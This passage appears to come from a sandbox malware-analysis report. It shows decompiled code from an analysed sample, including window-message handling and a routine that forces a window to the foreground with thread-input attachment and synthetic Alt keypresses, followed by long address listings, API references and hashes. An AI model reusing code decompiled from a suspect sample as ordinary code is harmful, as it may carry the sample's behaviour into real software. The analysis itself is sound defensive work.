						L39:
						_t288 = SendMessageW( *_t302, 0x110a, 9, 0);
						__eflags = _t288;
						if(_t288 != 0) {
							_v80 = _t288;
							_v84 = 4;
							_t290 = SendMessageW( *_t302, 0x113e, 0,  &_v84);
							__eflags = _t290;
							if(_t290 != 0) {
								__eflags = _t302[0xd] - _t302[0x17];
								if(_t302[0xd] != _t302[0x17]) {
									_t291 = _t302[3];
									__eflags = _t291 - 0x1000;
									if(_t291 != 0x1000) {
										__eflags = _t291 - 1;
										goto L28;
									}
								}
							}
						}
						goto L16;
					} else {
						_t406 = _t213 - 0xfffffdd9;
						if(_t406 > 0) {
							_t292 = _t213 + 0x226;
							__eflags = _t292 - 0x8a;
							if(_t292 > 0x8a) {
								goto L16;
							} else {
								switch( *((intOrPtr*)(( *(_t292 + 0x47c9b2) & 0x000000ff) * 4 +  &M0047C99E))) {
									case 0:
										_t293 = GetKeyState(0x11);
										__eflags = _t293;
										if(_t293 < 0) {
											_t294 = GetKeyState(9);
											__eflags = _t294;
											if(_t294 < 0) {
												_t399 = SendMessageW( *_t302, 0x130b, 0, 0);
												__eflags = GetKeyState(0x10);
												if(__eflags >= 0) {
													_push(_t399 + 1);
												} else {
													_push(_t399 - 1);
												}
												goto L14;
											}
										}
										goto L16;
									case 1:
										__eflags =  *(__edi + 0x17c);
										if( *(__edi + 0x17c) != 0) {
											__esi =  *0x4a845c; // 0x2
											__eax = 3;
											__eflags = __esi - 3;
											if(__esi >= 3) {
												__edx =  *0x4a844c; // 0x2f019d0
												do {
													__ecx = __edx[__eax];
													__eflags =  *__ecx;
													if( *__ecx == 0) {
														goto L35;
													} else {
														__ecx =  *__ecx;
														__ecx =  *(__ecx + 0x8b) & 0x000000ff;
														__eflags = __ecx - __ebx[1];
														if(__ecx == __ebx[1]) {
															__eflags = __eax - __esi;
															if(__eax > __esi) {
																goto L16;
															} else {
																__edx = __edx[__eax];
																__eax = __ebx[4];
																__ecx =  *(__ebx[4] + 0x50);
																__edx =  &(__ebx[4]);
																E0041326A( &(__ebx[4]),  *(__ebx[4] + 0x50), 0x4f) = 0;
																__eflags = 0;
																__ebx[0x2b] = __ax;
																__eax = 1;
																_pop(__edi);
																_pop(__esi);
																_pop(__ebx);
																return 1;
															}
														} else {
															goto L35;
														}
													}
													goto L108;
													L35:
													__eax = __eax + 1;
													__eflags = __eax - __esi;
												} while (__eax <= __esi);
											}
										}
										goto L16;
									case 2:
										goto L39;
									case 3:
										__esi =  *__ebx;
										_push(0xfffffff0);
										_push(__esi);
										__eax =  *0x482718();
										__eflags = __eax & 0x00000100;
										if((__eax & 0x00000100) != 0) {
											__eflags = __ebx[3] - 0x20;
											if(__ebx[3] == 0x20) {
												__edi =  *0x482650;
												__eax = SendMessageW(__esi, 0x110a, 9, 0);
												__eflags = __eax;
												if(__eax != 0) {
													__ecx =  &_v92;
													_v88 = __eax;
													_v92 = 4;
													__eflags = SendMessageW(__esi, 0x113e, 0,  &_v92);
													L28:
													if(__eflags != 0) {
														_push(0);
														_push(_v48);
														goto L15;
													}
												}
											}
										}
										goto L16;
									case 4:
										goto L16;
								}
							}
						} else {
							if(_t406 == 0) {
								_push(SendMessageW( *_t302, 0x130b, 0, 0));
								L14:
								_push(_t302[1]);
								goto L15;
							} else {
								_t299 = _t213 + 0x2f7;
								if(_t299 <= 0xd) {
									switch( *((intOrPtr*)(( *(_t299 + 0x47c98e) & 0x000000ff) * 4 +  &M0047C97A))) {
										case 0:
											__eflags =  *((char*)(__edi + 0x18d));
											 *((char*)(__edi + 0x18e)) = 1;
											if(__eflags == 0) {
												 *((char*)(__edi + 0x18e)) = 0;
												__ecx = __ebx[2];
												__edx = __ebx[1];
												_push(__ebx[2]);
												_push(__ebx[1]);
												goto L15;
											}
											goto L16;
										case 1:
											_t382[0x63] = 1;
											goto L16;
										case 2:
											__eflags =  *((char*)(__edi + 0x18e)) - 1;
											if(__eflags == 0) {
												__ebx[1] = E00461F2E(__eflags, __ebx[1], __ecx);
											}
											 *((char*)(__edi + 0x18e)) = 0;
											 *((char*)(__edi + 0x18d)) = 0;
											goto L16;
										case 3:
											_push(__ecx);
											__ecx = __ebx[1];
											_push(__ebx[1]);
											L15:
											E00461F2E(__eflags);
											goto L16;
										case 4:
											goto L16;
									}
								}
							}
							L16:
							return  *0x48254c(_a4, 0x4e, _a8, _t302);
						}
					}
				}
				L108:
			}













































































                                                                                                                                                                            0x0047c09e
                                                                                                                                                                            0x0047c0a9
                                                                                                                                                                            0x0047c0ae
                                                                                                                                                                            0x0047c0ba
                                                                                                                                                                            0x0047c0bc
                                                                                                                                                                            0x0047c0c0
                                                                                                                                                                            0x0047c0c2
                                                                                                                                                                            0x0047c0c7
                                                                                                                                                                            0x0047c327
                                                                                                                                                                            0x0047c32a
                                                                                                                                                                            0x0047c4c1
                                                                                                                                                                            0x0047c4c4
                                                                                                                                                                            0x0047c87e
                                                                                                                                                                            0x0047c883
                                                                                                                                                                            0x0047c887
                                                                                                                                                                            0x0047c88a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c890
                                                                                                                                                                            0x0047c890
                                                                                                                                                                            0x0047c899
                                                                                                                                                                            0x0047c89b
                                                                                                                                                                            0x0047c8a1
                                                                                                                                                                            0x0047c8a4
                                                                                                                                                                            0x0047c8af
                                                                                                                                                                            0x0047c8b2
                                                                                                                                                                            0x0047c8b2
                                                                                                                                                                            0x0047c8b5
                                                                                                                                                                            0x0047c977
                                                                                                                                                                            0x0047c8bb
                                                                                                                                                                            0x0047c8bb
                                                                                                                                                                            0x0047c8bb
                                                                                                                                                                            0x0047c8c1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c8c7
                                                                                                                                                                            0x0047c8c7
                                                                                                                                                                            0x0047c8ce
                                                                                                                                                                            0x0047c8d2
                                                                                                                                                                            0x0047c8d4
                                                                                                                                                                            0x0047c8d4
                                                                                                                                                                            0x0047c8ec
                                                                                                                                                                            0x0047c8f1
                                                                                                                                                                            0x0047c8f3
                                                                                                                                                                            0x0047c961
                                                                                                                                                                            0x0047c961
                                                                                                                                                                            0x0047c969
                                                                                                                                                                            0x0047c8f5
                                                                                                                                                                            0x0047c8f5
                                                                                                                                                                            0x0047c904
                                                                                                                                                                            0x0047c90a
                                                                                                                                                                            0x0047c90f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c911
                                                                                                                                                                            0x0047c911
                                                                                                                                                                            0x0047c915
                                                                                                                                                                            0x0047c91b
                                                                                                                                                                            0x0047c92f
                                                                                                                                                                            0x0047c934
                                                                                                                                                                            0x0047c937
                                                                                                                                                                            0x0047c93a
                                                                                                                                                                            0x0047c93c
                                                                                                                                                                            0x0047c93f
                                                                                                                                                                            0x0047c93f
                                                                                                                                                                            0x0047c94a
                                                                                                                                                                            0x0047c94d
                                                                                                                                                                            0x0047c94f
                                                                                                                                                                            0x0047c951
                                                                                                                                                                            0x0047c956
                                                                                                                                                                            0x0047c95e
                                                                                                                                                                            0x0047c95e
                                                                                                                                                                            0x0047c958
                                                                                                                                                                            0x0047c958
                                                                                                                                                                            0x0047c95c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c95c
                                                                                                                                                                            0x0047c956
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c91d
                                                                                                                                                                            0x0047c920
                                                                                                                                                                            0x0047c922
                                                                                                                                                                            0x0047c929
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c929
                                                                                                                                                                            0x0047c91b
                                                                                                                                                                            0x0047c90f
                                                                                                                                                                            0x0047c8f3
                                                                                                                                                                            0x0047c8c1
                                                                                                                                                                            0x0047c8a6
                                                                                                                                                                            0x0047c8a6
                                                                                                                                                                            0x0047c8a9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c8a9
                                                                                                                                                                            0x0047c8a4
                                                                                                                                                                            0x0047c4ca
                                                                                                                                                                            0x0047c4ca
                                                                                                                                                                            0x0047c4cd
                                                                                                                                                                            0x0047c635
                                                                                                                                                                            0x0047c63a
                                                                                                                                                                            0x0047c644
                                                                                                                                                                            0x0047c652
                                                                                                                                                                            0x0047c665
                                                                                                                                                                            0x0047c667
                                                                                                                                                                            0x0047c66b
                                                                                                                                                                            0x0047c66e
                                                                                                                                                                            0x0047c698
                                                                                                                                                                            0x0047c698
                                                                                                                                                                            0x0047c6a3
                                                                                                                                                                            0x0047c6a9
                                                                                                                                                                            0x0047c6ad
                                                                                                                                                                            0x0047c6af
                                                                                                                                                                            0x0047c7b2
                                                                                                                                                                            0x0047c7be
                                                                                                                                                                            0x0047c7c2
                                                                                                                                                                            0x0047c7c8
                                                                                                                                                                            0x0047c7ca
                                                                                                                                                                            0x0047c7db
                                                                                                                                                                            0x0047c7df
                                                                                                                                                                            0x0047c7e7
                                                                                                                                                                            0x0047c7ed
                                                                                                                                                                            0x0047c7f2
                                                                                                                                                                            0x0047c808
                                                                                                                                                                            0x0047c80d
                                                                                                                                                                            0x0047c80f
                                                                                                                                                                            0x0047c825
                                                                                                                                                                            0x0047c825
                                                                                                                                                                            0x0047c811
                                                                                                                                                                            0x0047c811
                                                                                                                                                                            0x0047c815
                                                                                                                                                                            0x0047c81d
                                                                                                                                                                            0x0047c81f
                                                                                                                                                                            0x0047c823
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c823
                                                                                                                                                                            0x0047c80f
                                                                                                                                                                            0x0047c7f2
                                                                                                                                                                            0x0047c831
                                                                                                                                                                            0x0047c837
                                                                                                                                                                            0x0047c842
                                                                                                                                                                            0x0047c845
                                                                                                                                                                            0x0047c847
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c84d
                                                                                                                                                                            0x0047c862
                                                                                                                                                                            0x0047c873
                                                                                                                                                                            0x0047c873
                                                                                                                                                                            0x0047c6b5
                                                                                                                                                                            0x0047c6b5
                                                                                                                                                                            0x0047c6b7
                                                                                                                                                                            0x0047c6cc
                                                                                                                                                                            0x0047c6d8
                                                                                                                                                                            0x0047c6dc
                                                                                                                                                                            0x0047c6e2
                                                                                                                                                                            0x0047c6e5
                                                                                                                                                                            0x0047c762
                                                                                                                                                                            0x0047c76a
                                                                                                                                                                            0x0047c770
                                                                                                                                                                            0x0047c77b
                                                                                                                                                                            0x0047c77e
                                                                                                                                                                            0x0047c780
                                                                                                                                                                            0x0047c798
                                                                                                                                                                            0x0047c798
                                                                                                                                                                            0x0047c6e7
                                                                                                                                                                            0x0047c6e7
                                                                                                                                                                            0x0047c6ec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c6ee
                                                                                                                                                                            0x0047c6f5
                                                                                                                                                                            0x0047c704
                                                                                                                                                                            0x0047c70f
                                                                                                                                                                            0x0047c715
                                                                                                                                                                            0x0047c717
                                                                                                                                                                            0x0047c71d
                                                                                                                                                                            0x0047c722
                                                                                                                                                                            0x0047c73b
                                                                                                                                                                            0x0047c740
                                                                                                                                                                            0x0047c742
                                                                                                                                                                            0x0047c75e
                                                                                                                                                                            0x0047c75e
                                                                                                                                                                            0x0047c744
                                                                                                                                                                            0x0047c744
                                                                                                                                                                            0x0047c748
                                                                                                                                                                            0x0047c74e
                                                                                                                                                                            0x0047c751
                                                                                                                                                                            0x0047c754
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c756
                                                                                                                                                                            0x0047c756
                                                                                                                                                                            0x0047c758
                                                                                                                                                                            0x0047c75c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c75c
                                                                                                                                                                            0x0047c754
                                                                                                                                                                            0x0047c742
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c722
                                                                                                                                                                            0x0047c717
                                                                                                                                                                            0x0047c6ec
                                                                                                                                                                            0x0047c6e5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c6b7
                                                                                                                                                                            0x0047c670
                                                                                                                                                                            0x0047c684
                                                                                                                                                                            0x0047c686
                                                                                                                                                                            0x0047c68a
                                                                                                                                                                            0x0047c68d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c693
                                                                                                                                                                            0x0047c693
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c693
                                                                                                                                                                            0x0047c68d
                                                                                                                                                                            0x0047c4d3
                                                                                                                                                                            0x0047c4d3
                                                                                                                                                                            0x0047c4d6
                                                                                                                                                                            0x0047c4e4
                                                                                                                                                                            0x0047c4ee
                                                                                                                                                                            0x0047c4fc
                                                                                                                                                                            0x0047c50a
                                                                                                                                                                            0x0047c50f
                                                                                                                                                                            0x0047c512
                                                                                                                                                                            0x0047c518
                                                                                                                                                                            0x0047c523
                                                                                                                                                                            0x0047c529
                                                                                                                                                                            0x0047c52b
                                                                                                                                                                            0x0047c531
                                                                                                                                                                            0x0047c533
                                                                                                                                                                            0x0047c5bf
                                                                                                                                                                            0x0047c5cb
                                                                                                                                                                            0x0047c5cf
                                                                                                                                                                            0x0047c5d1
                                                                                                                                                                            0x0047c5d3
                                                                                                                                                                            0x0047c5db
                                                                                                                                                                            0x0047c5ec
                                                                                                                                                                            0x0047c5f4
                                                                                                                                                                            0x0047c5fc
                                                                                                                                                                            0x0047c5fe
                                                                                                                                                                            0x0047c603
                                                                                                                                                                            0x0047c615
                                                                                                                                                                            0x0047c626
                                                                                                                                                                            0x0047c626
                                                                                                                                                                            0x0047c603
                                                                                                                                                                            0x0047c535
                                                                                                                                                                            0x0047c535
                                                                                                                                                                            0x0047c537
                                                                                                                                                                            0x0047c552
                                                                                                                                                                            0x0047c55e
                                                                                                                                                                            0x0047c562
                                                                                                                                                                            0x0047c564
                                                                                                                                                                            0x0047c567
                                                                                                                                                                            0x0047c574
                                                                                                                                                                            0x0047c583
                                                                                                                                                                            0x0047c58e
                                                                                                                                                                            0x0047c590
                                                                                                                                                                            0x0047c595
                                                                                                                                                                            0x0047c5a2
                                                                                                                                                                            0x0047c5a4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c5a4
                                                                                                                                                                            0x0047c595
                                                                                                                                                                            0x0047c567
                                                                                                                                                                            0x0047c537
                                                                                                                                                                            0x0047c533
                                                                                                                                                                            0x0047c52b
                                                                                                                                                                            0x0047c512
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c4d6
                                                                                                                                                                            0x0047c4cd
                                                                                                                                                                            0x0047c330
                                                                                                                                                                            0x0047c330
                                                                                                                                                                            0x0047c4b6
                                                                                                                                                                            0x0047c336
                                                                                                                                                                            0x0047c336
                                                                                                                                                                            0x0047c33b
                                                                                                                                                                            0x0047c340
                                                                                                                                                                            0x0047c34d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c35b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c40b
                                                                                                                                                                            0x0047c411
                                                                                                                                                                            0x0047c413
                                                                                                                                                                            0x0047c414
                                                                                                                                                                            0x0047c415
                                                                                                                                                                            0x0047c416
                                                                                                                                                                            0x0047c417
                                                                                                                                                                            0x0047c41d
                                                                                                                                                                            0x0047c422
                                                                                                                                                                            0x0047c424
                                                                                                                                                                            0x0047c426
                                                                                                                                                                            0x0047c427
                                                                                                                                                                            0x0047c428
                                                                                                                                                                            0x0047c42e
                                                                                                                                                                            0x0047c432
                                                                                                                                                                            0x0047c438
                                                                                                                                                                            0x0047c43b
                                                                                                                                                                            0x0047c43f
                                                                                                                                                                            0x0047c443
                                                                                                                                                                            0x0047c447
                                                                                                                                                                            0x0047c44d
                                                                                                                                                                            0x0047c455
                                                                                                                                                                            0x0047c45a
                                                                                                                                                                            0x0047c45e
                                                                                                                                                                            0x0047c463
                                                                                                                                                                            0x0047c467
                                                                                                                                                                            0x0047c46f
                                                                                                                                                                            0x0047c474
                                                                                                                                                                            0x0047c479
                                                                                                                                                                            0x0047c479
                                                                                                                                                                            0x0047c47c
                                                                                                                                                                            0x0047c480
                                                                                                                                                                            0x0047c485
                                                                                                                                                                            0x0047c487
                                                                                                                                                                            0x0047c48c
                                                                                                                                                                            0x0047c48e
                                                                                                                                                                            0x0047c499
                                                                                                                                                                            0x0047c49c
                                                                                                                                                                            0x0047c49e
                                                                                                                                                                            0x0047c49f
                                                                                                                                                                            0x0047c4a0
                                                                                                                                                                            0x0047c4a2
                                                                                                                                                                            0x0047c4a8
                                                                                                                                                                            0x0047c4ac
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c366
                                                                                                                                                                            0x0047c369
                                                                                                                                                                            0x0047c379
                                                                                                                                                                            0x0047c37e
                                                                                                                                                                            0x0047c380
                                                                                                                                                                            0x0047c386
                                                                                                                                                                            0x0047c38c
                                                                                                                                                                            0x0047c390
                                                                                                                                                                            0x0047c393
                                                                                                                                                                            0x0047c399
                                                                                                                                                                            0x0047c3a0
                                                                                                                                                                            0x0047c3a6
                                                                                                                                                                            0x0047c3ab
                                                                                                                                                                            0x0047c3b0
                                                                                                                                                                            0x0047c3b3
                                                                                                                                                                            0x0047c3b5
                                                                                                                                                                            0x0047c3b9
                                                                                                                                                                            0x0047c3bf
                                                                                                                                                                            0x0047c3c5
                                                                                                                                                                            0x0047c3ca
                                                                                                                                                                            0x0047c3ce
                                                                                                                                                                            0x0047c3d3
                                                                                                                                                                            0x0047c3d8
                                                                                                                                                                            0x0047c3de
                                                                                                                                                                            0x0047c3e1
                                                                                                                                                                            0x0047c3e9
                                                                                                                                                                            0x0047c3ef
                                                                                                                                                                            0x0047c3f2
                                                                                                                                                                            0x0047c400
                                                                                                                                                                            0x0047c400
                                                                                                                                                                            0x0047c3b9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c34d
                                                                                                                                                                            0x0047c340
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c330
                                                                                                                                                                            0x0047c0cd
                                                                                                                                                                            0x0047c0cd
                                                                                                                                                                            0x0047c2c4
                                                                                                                                                                            0x0047c2d6
                                                                                                                                                                            0x0047c2d8
                                                                                                                                                                            0x0047c2da
                                                                                                                                                                            0x0047c2e7
                                                                                                                                                                            0x0047c2f3
                                                                                                                                                                            0x0047c2fb
                                                                                                                                                                            0x0047c2fd
                                                                                                                                                                            0x0047c2ff
                                                                                                                                                                            0x0047c308
                                                                                                                                                                            0x0047c30b
                                                                                                                                                                            0x0047c311
                                                                                                                                                                            0x0047c314
                                                                                                                                                                            0x0047c319
                                                                                                                                                                            0x0047c31f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c31f
                                                                                                                                                                            0x0047c319
                                                                                                                                                                            0x0047c30b
                                                                                                                                                                            0x0047c2ff
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c0d3
                                                                                                                                                                            0x0047c0d3
                                                                                                                                                                            0x0047c0d8
                                                                                                                                                                            0x0047c182
                                                                                                                                                                            0x0047c187
                                                                                                                                                                            0x0047c18c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c18e
                                                                                                                                                                            0x0047c195
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c1a4
                                                                                                                                                                            0x0047c1a6
                                                                                                                                                                            0x0047c1a9
                                                                                                                                                                            0x0047c1ad
                                                                                                                                                                            0x0047c1af
                                                                                                                                                                            0x0047c1b2
                                                                                                                                                                            0x0047c1c8
                                                                                                                                                                            0x0047c1cc
                                                                                                                                                                            0x0047c1cf
                                                                                                                                                                            0x0047c1d6
                                                                                                                                                                            0x0047c1d1
                                                                                                                                                                            0x0047c1d2
                                                                                                                                                                            0x0047c1d2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c1cf
                                                                                                                                                                            0x0047c1b2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c243
                                                                                                                                                                            0x0047c24a
                                                                                                                                                                            0x0047c250
                                                                                                                                                                            0x0047c256
                                                                                                                                                                            0x0047c25b
                                                                                                                                                                            0x0047c25d
                                                                                                                                                                            0x0047c263
                                                                                                                                                                            0x0047c26e
                                                                                                                                                                            0x0047c26e
                                                                                                                                                                            0x0047c271
                                                                                                                                                                            0x0047c274
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c276
                                                                                                                                                                            0x0047c276
                                                                                                                                                                            0x0047c278
                                                                                                                                                                            0x0047c27f
                                                                                                                                                                            0x0047c282
                                                                                                                                                                            0x0047c28e
                                                                                                                                                                            0x0047c290
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c296
                                                                                                                                                                            0x0047c296
                                                                                                                                                                            0x0047c299
                                                                                                                                                                            0x0047c29b
                                                                                                                                                                            0x0047c2a1
                                                                                                                                                                            0x0047c2ad
                                                                                                                                                                            0x0047c2ad
                                                                                                                                                                            0x0047c2af
                                                                                                                                                                            0x0047c2b6
                                                                                                                                                                            0x0047c2bb
                                                                                                                                                                            0x0047c2bc
                                                                                                                                                                            0x0047c2bd
                                                                                                                                                                            0x0047c2c1
                                                                                                                                                                            0x0047c2c1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c282
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c284
                                                                                                                                                                            0x0047c284
                                                                                                                                                                            0x0047c285
                                                                                                                                                                            0x0047c285
                                                                                                                                                                            0x0047c289
                                                                                                                                                                            0x0047c25d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c1d9
                                                                                                                                                                            0x0047c1db
                                                                                                                                                                            0x0047c1dd
                                                                                                                                                                            0x0047c1de
                                                                                                                                                                            0x0047c1e4
                                                                                                                                                                            0x0047c1e9
                                                                                                                                                                            0x0047c1ef
                                                                                                                                                                            0x0047c1f4
                                                                                                                                                                            0x0047c1fa
                                                                                                                                                                            0x0047c20a
                                                                                                                                                                            0x0047c20c
                                                                                                                                                                            0x0047c20e
                                                                                                                                                                            0x0047c214
                                                                                                                                                                            0x0047c221
                                                                                                                                                                            0x0047c225
                                                                                                                                                                            0x0047c22f
                                                                                                                                                                            0x0047c231
                                                                                                                                                                            0x0047c231
                                                                                                                                                                            0x0047c23b
                                                                                                                                                                            0x0047c23d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c23d
                                                                                                                                                                            0x0047c231
                                                                                                                                                                            0x0047c20e
                                                                                                                                                                            0x0047c1f4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c195
                                                                                                                                                                            0x0047c0de
                                                                                                                                                                            0x0047c0de
                                                                                                                                                                            0x0047c15e
                                                                                                                                                                            0x0047c15f
                                                                                                                                                                            0x0047c162
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c0e0
                                                                                                                                                                            0x0047c0e0
                                                                                                                                                                            0x0047c0e8
                                                                                                                                                                            0x0047c0f1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c101
                                                                                                                                                                            0x0047c108
                                                                                                                                                                            0x0047c10f
                                                                                                                                                                            0x0047c111
                                                                                                                                                                            0x0047c118
                                                                                                                                                                            0x0047c11b
                                                                                                                                                                            0x0047c11e
                                                                                                                                                                            0x0047c11f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c11f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c0f8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c122
                                                                                                                                                                            0x0047c129
                                                                                                                                                                            0x0047c130
                                                                                                                                                                            0x0047c130
                                                                                                                                                                            0x0047c135
                                                                                                                                                                            0x0047c13c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c145
                                                                                                                                                                            0x0047c146
                                                                                                                                                                            0x0047c149
                                                                                                                                                                            0x0047c163
                                                                                                                                                                            0x0047c163
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047c0f1
                                                                                                                                                                            0x0047c0e8
                                                                                                                                                                            0x0047c168
                                                                                                                                                                            0x0047c17f
                                                                                                                                                                            0x0047c17f
                                                                                                                                                                            0x0047c0d8
                                                                                                                                                                            0x0047c0cd
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
                                                                                                                                                                            • NtdllDialogWndProc_W.NTDLL(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
                                                                                                                                                                            • GetKeyState.USER32(00000011), ref: 0047C1A4
                                                                                                                                                                            • GetKeyState.USER32(00000009), ref: 0047C1AD
                                                                                                                                                                            • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
                                                                                                                                                                            • GetKeyState.USER32(00000010), ref: 0047C1CA
                                                                                                                                                                            • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
                                                                                                                                                                            • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
                                                                                                                                                                            • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
                                                                                                                                                                            • SendMessageW.USER32 ref: 0047C2FB
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$State$DialogNtdllProc_
                                                                                                                                                                            • String ID: @GUI_DRAGID$F
                                                                                                                                                                            • API String ID: 2436949396-4164748364
                                                                                                                                                                            • Opcode ID: 4caa6ee04ed861106395c07a7bf00754629ef83c69e4911a74f4d1e4baa8c438
                                                                                                                                                                            • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                                                                                                                                                                            • Opcode Fuzzy Hash: 4caa6ee04ed861106395c07a7bf00754629ef83c69e4911a74f4d1e4baa8c438
                                                                                                                                                                            • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004375B0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 126threadkeyboardwindowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 79%
                                                                                                                                                                            			E004375B0(struct HWND__* _a4) {
				int _v4;
				struct HWND__* _v60;
				intOrPtr _v68;
				struct HWND__* _t8;
				DWORD* _t10;
				int _t19;
				long _t37;
				long _t41;
				struct HWND__* _t43;
				struct HWND__* _t46;
				long _t47;

				_t8 = GetForegroundWindow();
				_t46 = _a4;
				_t43 = _t8;
				if(_t46 != _t43) {
					if(_t43 == 0) {
						_t43 = FindWindowW(L"Shell_TrayWnd", _t43);
					}
					if(IsIconic(_t46) != 0) {
						ShowWindow(_t46, 9);
					}
					_v4 = 0;
					_t10 = SetForegroundWindow(_t46);
					if(_t10 != 0) {
						return 2;
					} else {
						_t41 = GetWindowThreadProcessId(_t43, _t10);
						_t37 = GetCurrentThreadId();
						_t47 = GetWindowThreadProcessId(_t46, 0);
						AttachThreadInput(_t37, _t47, 1);
						AttachThreadInput(_t37, _t41, 1);
						AttachThreadInput(_t41, _t47, 1);
						_t19 = SetForegroundWindow(_a4);
						if(_t19 != 0) {
							_v4 = 3;
						} else {
							 *0x482710(0x12, MapVirtualKeyW(0x12, _t19), _t19, _t19);
							 *0x482710(0x12, MapVirtualKeyW(0x12, 0), 2, 0);
							 *0x482710(0x12, MapVirtualKeyW(0x12, 0), 0, 0);
							 *0x482710(0x12, MapVirtualKeyW(0x12, 0), 2, 0);
							if(SetForegroundWindow(_v60) != 0) {
								_v68 = 4;
							}
						}
						AttachThreadInput(_t37, _t47, 0);
						AttachThreadInput(_t37, _t41, 0);
						AttachThreadInput(_t41, _t47, 0);
						return _v4;
					}
				} else {
					return 1;
				}
			}














                                                                                                                                                                            0x004375b3
                                                                                                                                                                            0x004375b9
